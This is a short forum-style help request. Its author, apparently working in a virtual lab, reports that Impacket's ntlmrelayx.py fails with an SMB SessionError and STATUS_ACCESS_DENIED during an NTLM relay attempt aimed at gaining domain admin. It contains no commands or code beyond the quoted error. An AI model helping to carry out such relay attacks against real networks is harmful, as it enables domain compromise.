Ntlmrlayx.py shows 'SMB SessionError' and throws unhandled exception

[ss6851]

I am trying to use ntlm relaying to get domain admin in my virtual environment. However, ntlmrelayx.py first shows 'SMB SessionError' and then throws an un-handled exception.

Sometimes, for the same setup, ntlmrelay shows the following error:

[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an 
object but has not been granted those access rights.)
